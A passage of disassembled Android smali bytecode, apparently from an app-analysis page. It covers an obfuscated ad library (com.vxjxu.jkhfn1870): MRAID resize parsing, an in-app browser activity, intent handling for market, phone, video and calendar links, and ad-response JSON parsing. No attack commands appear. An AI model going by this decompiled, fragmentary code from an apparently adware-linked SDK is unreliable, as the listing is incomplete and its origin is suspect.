358 | move/from16 v20, v0 | |
359 | goto/16 :goto_61 | |
360 | cond_23d: | |
361 | const-string v21, "height" | |
362 | move-object/from16 v0, v21 | |
364 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
365 | move-result v21 | |
366 | move/from16 v0, v21 | |
367 | int-to-float v0, v0 | |
368 | move/from16 v21, v0 | |
370 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
371 | move-result-object v22 | |
373 | invoke-static/range {v21 .. v22}, Lcom/vxjxu/jkhfn1870/Util;->convertDpToPixel(FLandroid/content/Context;)F | |
374 | move-result v21 | |
375 | move/from16 v0, v21 | |
376 | float-to-int v11, v0 | |
377 | goto/16 :goto_75 | |
378 | cond_257: | |
379 | const-string v21, "customClosePosition" | |
380 | move-object/from16 v0, v21 | |
382 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
383 | move-result-object v9 | |
384 | goto/16 :goto_81 | |
385 | cond_261: | |
386 | const-string v21, "offsetX" | |
387 | move-object/from16 v0, v21 | |
389 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
390 | move-result v16 | |
391 | goto/16 :goto_8d | |
392 | cond_26b: | |
393 | const-string v21, "offsetY" | |
394 | move-object/from16 v0, v21 | |
396 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
397 | move-result v17 | |
398 | goto/16 :goto_99 | |
399 | cond_275: | |
400 | const-string v21, "allowOffscreen" | |
401 | move-object/from16 v0, v21 | |
403 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z |
|
404 | try_end_27c: move-result v4 | |
405 | goto/16 :goto_a4 | |
406 | catch_27f: move-exception v10 | |
407 | try_start_280: move-object/from16 v0, p0 | |
409 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
410 | move-object/from16 v21, v0 | |
411 | if-eqz v21, :cond_295 | |
412 | move-object/from16 v0, p0 | |
414 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
415 | move-object/from16 v21, v0 | |
417 | invoke-virtual {v10}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
418 | move-result-object v22 | |
420 | invoke-interface/range {v21 .. v22}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V | |
421 | cond_295: | |
422 | const-string v21, "resize" | |
424 | const-string v22, "Error occured while parsing resizeProperties data." | |
425 | move-object/from16 v0, p0 | |
426 | move-object/from16 v1, v21 | |
427 | move-object/from16 v2, v22 | |
429 | invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
430 | try_end_2a2: goto/16 :goto_220 | |
431 | catch_2a4: move-exception v10 | |
433 | const-string v21, "89" | |
434 | move-object/from16 v0, p0 | |
435 | move-object/from16 v1, v21 | |
437 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
439 | invoke-virtual {v10}, Ljava/lang/Exception;->printStackTrace()V | |
440 | goto/16 :goto_220 | |
441 | cond_2b3: add-int/lit8 v12, v12, 0x1 | |
442 | goto/16 :goto_137 | |
443 | catch_2b7: move-exception v10 | |
444 | try_start_2b8: | |
445 | invoke-virtual {v10}, Ljava/lang/Exception;->printStackTrace()V | |
446 | try_end_2bb: goto/16 :goto_1b3 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/4 v13, 0x0 | |
3 | const/16 v12, 0xf | |
4 | const/4 v11, 0x1 | |
5 | const/4 v10, -0x2 | |
6 | const/4 v9, -0x1 | |
7 | new-instance v7, Landroid/widget/LinearLayout; | |
9 | invoke-direct {v7, p0}, Landroid/widget/LinearLayout;-><init>(Landroid/content/Context;)V | |
10 | iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout; | |
12 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout; | |
14 | invoke-virtual {v7, v11}, Landroid/widget/LinearLayout;->setOrientation(I)V |
|
16 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout; | |
17 | new-instance v8, Landroid/widget/LinearLayout$LayoutParams; | |
19 | invoke-direct {v8, v9, v9}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V | |
21 | invoke-virtual {v7, v8}, Landroid/widget/LinearLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
22 | new-instance v1, Landroid/widget/RelativeLayout; | |
24 | invoke-direct {v1, p0}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;)V | |
25 | new-instance v2, Landroid/widget/RelativeLayout$LayoutParams; | |
26 | const/high16 v7, 0x42200000 # 40.0f | |
27 | iget v8, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->scale:F | |
28 | mul-float/2addr v7, v8 | |
29 | float-to-int v7, v7 | |
31 | invoke-direct {v2, v9, v7}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V | |
33 | invoke-virtual {v1, v2}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
34 | new-instance v7, Landroid/widget/Button; | |
36 | invoke-direct {v7, p0}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V | |
37 | iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
38 | new-instance v0, Landroid/widget/RelativeLayout$LayoutParams; | |
40 | invoke-direct {v0, v10, v10}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V | |
41 | const/16 v7, 0x9 | |
43 | invoke-virtual {v0, v7, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V |
|
45 | invoke-virtual {v0, v12, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V |
|
47 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
49 | invoke-virtual {v7, v0}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
51 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
53 | const-string v8, "Back" | |
55 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V |
|
57 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
59 | invoke-virtual {v7, v13, v11}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V |
|
61 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
63 | invoke-virtual {v7, v9}, Landroid/widget/Button;->setTextColor(I)V | |
65 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
66 | const/16 v8, 0xb | |
68 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setId(I)V |
|
70 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
72 | invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V | |
73 | new-instance v7, Landroid/widget/Button; | |
75 | invoke-direct {v7, p0}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V | |
76 | iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
77 | new-instance v4, Landroid/widget/RelativeLayout$LayoutParams; | |
79 | invoke-direct {v4, v10, v10}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V | |
80 | const/16 v7, 0xb | |
82 | invoke-virtual {v4, v11, v7}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V |
|
84 | invoke-virtual {v4, v12, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V |
|
86 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
88 | invoke-virtual {v7, v4}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
90 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
92 | const-string v8, "Forward" | |
94 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V |
|
96 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
98 | invoke-virtual {v7, v13, v11}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V |
|
100 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
102 | invoke-virtual {v7, v9}, Landroid/widget/Button;->setTextColor(I)V | |
104 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
105 | const/16 v8, 0xc | |
107 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setId(I)V |
|
109 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
111 | invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V | |
112 | new-instance v7, Landroid/widget/Button; | |
114 | invoke-direct {v7, p0}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V | |
115 | iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button; | |
116 | new-instance v6, Landroid/widget/RelativeLayout$LayoutParams; | |
118 | invoke-direct {v6, v10, v10}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V | |
119 | const/16 v7, 0xc | |
121 | invoke-virtual {v6, v11, v7}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V |
|
123 | invoke-virtual {v6, v12, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V |
|
125 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button; | |
127 | invoke-virtual {v7, v6}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
129 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button; | |
131 | const-string v8, "Refresh" | |
133 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V |
|
135 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button; | |
137 | invoke-virtual {v7, v13, v11}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V |
|
139 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button; | |
141 | invoke-virtual {v7, v9}, Landroid/widget/Button;->setTextColor(I)V | |
143 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button; | |
144 | const/16 v8, 0xd | |
146 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setId(I)V |
|
148 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button; | |
150 | invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V | |
151 | new-instance v7, Landroid/widget/Button; | |
153 | invoke-direct {v7, p0}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V | |
154 | iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button; | |
155 | new-instance v3, Landroid/widget/RelativeLayout$LayoutParams; | |
157 | invoke-direct {v3, v10, v10}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V | |
158 | const/16 v7, 0xb | |
160 | invoke-virtual {v3, v7, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V |
|
162 | invoke-virtual {v3, v12, v9}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V |
|
164 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button; | |
166 | invoke-virtual {v7, v3}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
168 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button; | |
170 | const-string v8, "Close" | |
172 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V |
|
174 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button; | |
176 | invoke-virtual {v7, v13, v11}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V |
|
178 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button; | |
180 | invoke-virtual {v7, v9}, Landroid/widget/Button;->setTextColor(I)V | |
182 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button; | |
183 | const/16 v8, 0xe | |
185 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setId(I)V |
|
187 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button; | |
189 | invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V | |
190 | const/16 v7, 0x11 | |
192 | invoke-virtual {v1, v7}, Landroid/widget/RelativeLayout;->setGravity(I)V |
|
194 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout; | |
196 | invoke-virtual {v7, v1}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;)V | |
197 | new-instance v7, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
199 | invoke-direct {v7, p0, p0, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;-><init>(Lcom/vxjxu/jkhfn1870/BrowserActivity;Landroid/content/Context;Ljava/lang/String;)V | |
200 | iput-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
201 | new-instance v5, Landroid/widget/LinearLayout$LayoutParams; | |
203 | invoke-direct {v5, v9, v9}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V | |
205 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
207 | invoke-virtual {v7, v5}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
209 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout; | |
211 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
213 | invoke-virtual {v7, v8}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;)V | |
215 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->fullScreenLayout:Landroid/widget/LinearLayout; | |
217 | invoke-virtual {p0, v7}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->setContentView(Landroid/view/View;)V | |
219 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView; | |
221 | invoke-virtual {v7, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->loadUrl(Ljava/lang/String;)V | |
223 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
225 | invoke-virtual {v7, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V | |
227 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
229 | invoke-virtual {v7, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V | |
231 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->refreshButton:Landroid/widget/Button; | |
233 | invoke-virtual {v7, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V | |
235 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->closeButton:Landroid/widget/Button; | |
237 | invoke-virtual {v7, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V | |
239 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->forwardButton:Landroid/widget/Button; | |
240 | const/4 v8, 0x0 | |
242 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setEnabled(Z)V |
|
244 | iget-object v7, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->backButton:Landroid/widget/Button; | |
245 | const/4 v8, 0x0 | |
247 | invoke-virtual {v7, v8}, Landroid/widget/Button;->setEnabled(Z)V |
|
248 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "savedInstanceState" # Landroid/os/Bundle; | |
1 | .prologue | |
3 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
4 | try_start_3: | |
5 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getIntent()Landroid/content/Intent; | |
6 | move-result-object v3 | |
8 | invoke-virtual {v3}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
9 | move-result-object v0 | |
11 | const-string v8, "browser" | |
13 | invoke-virtual {v0, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
14 | move-result v8 | |
15 | if-eqz v8, :cond_47 | |
17 | const-string v8, "url" | |
19 | invoke-virtual {v3, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
20 | move-result-object v7 | |
22 | const-string v8, "market://" | |
24 | invoke-virtual {v7, v8}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z |
|
25 | move-result v8 | |
26 | if-nez v8, :cond_29 | |
28 | const-string v8, "tel:" | |
30 | invoke-virtual {v7, v8}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z |
|
31 | move-result v8 | |
32 | if-eqz v8, :cond_3b | |
33 | cond_29: new-instance v5, Landroid/content/Intent; | |
35 | const-string v8, "android.intent.action.VIEW" | |
37 | invoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
38 | move-result-object v9 | |
40 | invoke-direct {v5, v8, v9}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
42 | invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->startActivity(Landroid/content/Intent;)V | |
44 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
45 | cond_3a: return-void | |
46 | cond_3b: | |
47 | invoke-direct {p0, v7}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->showBrowser(Ljava/lang/String;)V | |
48 | try_end_3e: goto/16 :goto_3a | |
49 | catch_3f: move-exception v2 | |
51 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
53 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
54 | goto/16 :goto_3a | |
55 | try_start_47: | |
56 | const-string v8, "playVideo" | |
58 | invoke-virtual {v0, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
59 | move-result v8 | |
60 | if-eqz v8, :cond_84 | |
62 | const-string v8, "url" | |
64 | invoke-virtual {v3, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
65 | move-result-object v7 | |
66 | const/4 v8, 0x1 | |
68 | invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->requestWindowFeature(I)Z |
|
69 | const v8, 0x1030010 | |
71 | invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->setTheme(I)V |
|
73 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
74 | new-instance v4, Landroid/content/Intent; | |
76 | const-string v8, "android.intent.action.VIEW" | |
78 | invoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
79 | move-result-object v9 | |
81 | invoke-direct {v4, v8, v9}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
83 | invoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
84 | move-result-object v8 | |
86 | const-string v9, "video/*" | |
88 | invoke-virtual {v4, v8, v9}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent; |
|
89 | const/16 v8, 0x8 | |
91 | invoke-virtual {p0, v4, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->startActivityForResult(Landroid/content/Intent;I)V |
|
92 | try_end_7b: goto/16 :goto_3a | |
93 | catch_7c: move-exception v1 | |
95 | invoke-virtual {v1}, Ljava/lang/Throwable;->printStackTrace()V | |
97 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
98 | goto/16 :goto_3a | |
99 | cond_84: | |
100 | const-string v8, "newCalendarEvent" | |
102 | invoke-virtual {v0, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
103 | move-result v8 | |
104 | if-eqz v8, :cond_3a | |
105 | const/4 v8, 0x1 | |
107 | invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->requestWindowFeature(I)Z |
|
108 | const v8, 0x1030010 | |
110 | invoke-virtual {p0, v8}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->setTheme(I)V |
|
112 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
113 | try_end_99: | |
114 | const-string v8, "json" | |
116 | invoke-virtual {v3, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
117 | move-result-object v6 | |
118 | if-eqz v6, :cond_a9 | |
120 | const-string v8, "" | |
122 | invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
123 | move-result v8 | |
124 | if-eqz v8, :cond_dc | |
125 | cond_a9: | |
126 | sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
128 | const-string v9, "createCalendarEvent" | |
130 | const-string v10, "Calendar json is empty" | |
132 | invoke-virtual {v8, v9, v10}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
134 | sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
135 | const/4 v9, 0x1 | |
137 | invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
139 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
140 | try_end_bb: goto/16 :goto_3a | |
141 | catch_bd: move-exception v1 | |
142 | try_start_be: | |
143 | invoke-virtual {v1}, Landroid/content/ActivityNotFoundException;->printStackTrace()V | |
145 | sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
147 | const-string v9, "error" | |
149 | invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
151 | sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
153 | const-string v9, "createCalendarEvent" | |
155 | const-string v10, "Calendar activity not found." | |
157 | invoke-virtual {v8, v9, v10}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
159 | sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
160 | const/4 v9, 0x1 | |
162 | invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
164 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
165 | try_end_da: goto/16 :goto_3a | |
166 | cond_dc: | |
167 | invoke-static {p0, v6}, Lcom/vxjxu/jkhfn1870/CalendarEvent;->createCalenderEvent(Landroid/app/Activity;Ljava/lang/String;)V | |
168 | try_end_df: goto/16 :goto_3a | |
169 | catch_e1: move-exception v2 | |
170 | try_start_e2: | |
171 | sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
173 | const-string v9, "error" | |
175 | invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
177 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
179 | sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
181 | const-string v9, "createCalendarEvent" | |
183 | const-string v10, "Calendar json parsing error" | |
185 | invoke-virtual {v8, v9, v10}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
187 | sget-object v8, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
188 | const/4 v9, 0x1 | |
190 | invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
192 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
193 | try_end_fe: goto/16 :goto_3a |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
2 | try_start_0: new-instance v7, Lorg/json/JSONObject; | |
3 | move-object/from16 v0, p1 | |
5 | invoke-direct {v7, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
7 | const-string v13, "status" | |
9 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
10 | move-result v13 | |
11 | if-eqz v13, :cond_4c | |
12 | const/4 v10, 0x0 | |
13 | goto_10: | |
14 | const-string v13, "message" | |
16 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
17 | move-result v13 | |
18 | if-eqz v13, :cond_53 | |
20 | const-string v9, "invalid" | |
21 | goto_1a: | |
22 | const-string v13, "adtype" | |
24 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
25 | move-result v13 | |
26 | if-eqz v13, :cond_5a | |
28 | const-string v1, "" | |
29 | goto_24: | |
30 | const-string v13, "error" | |
32 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
33 | move-result v13 | |
34 | if-eqz v13, :cond_61 | |
35 | const/4 v4, 0x0 | |
36 | goto_2d: const/16 v13, 0xc8 | |
37 | if-ne v10, v13, :cond_f5 | |
39 | const-string v13, "Success" | |
41 | invoke-virtual {v9, v13}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
42 | move-result v13 | |
43 | if-eqz v13, :cond_f5 | |
45 | const-string v13, "data" | |
47 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
48 | move-result v13 | |
49 | if-eqz v13, :cond_68 | |
51 | const-string v2, "nodata" | |
52 | goto_43: | |
53 | const-string v13, "nodata" | |
55 | invoke-virtual {v2, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
56 | move-result v13 | |
57 | if-eqz v13, :cond_6f | |
58 | goto_4b: return-void | |
59 | cond_4c: | |
60 | const-string v13, "status" | |
62 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
63 | move-result v10 | |
64 | goto/16 :goto_10 | |
65 | cond_53: | |
66 | const-string v13, "message" | |
68 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
69 | move-result-object v9 | |
70 | goto/16 :goto_1a | |
71 | cond_5a: | |
72 | const-string v13, "adtype" | |
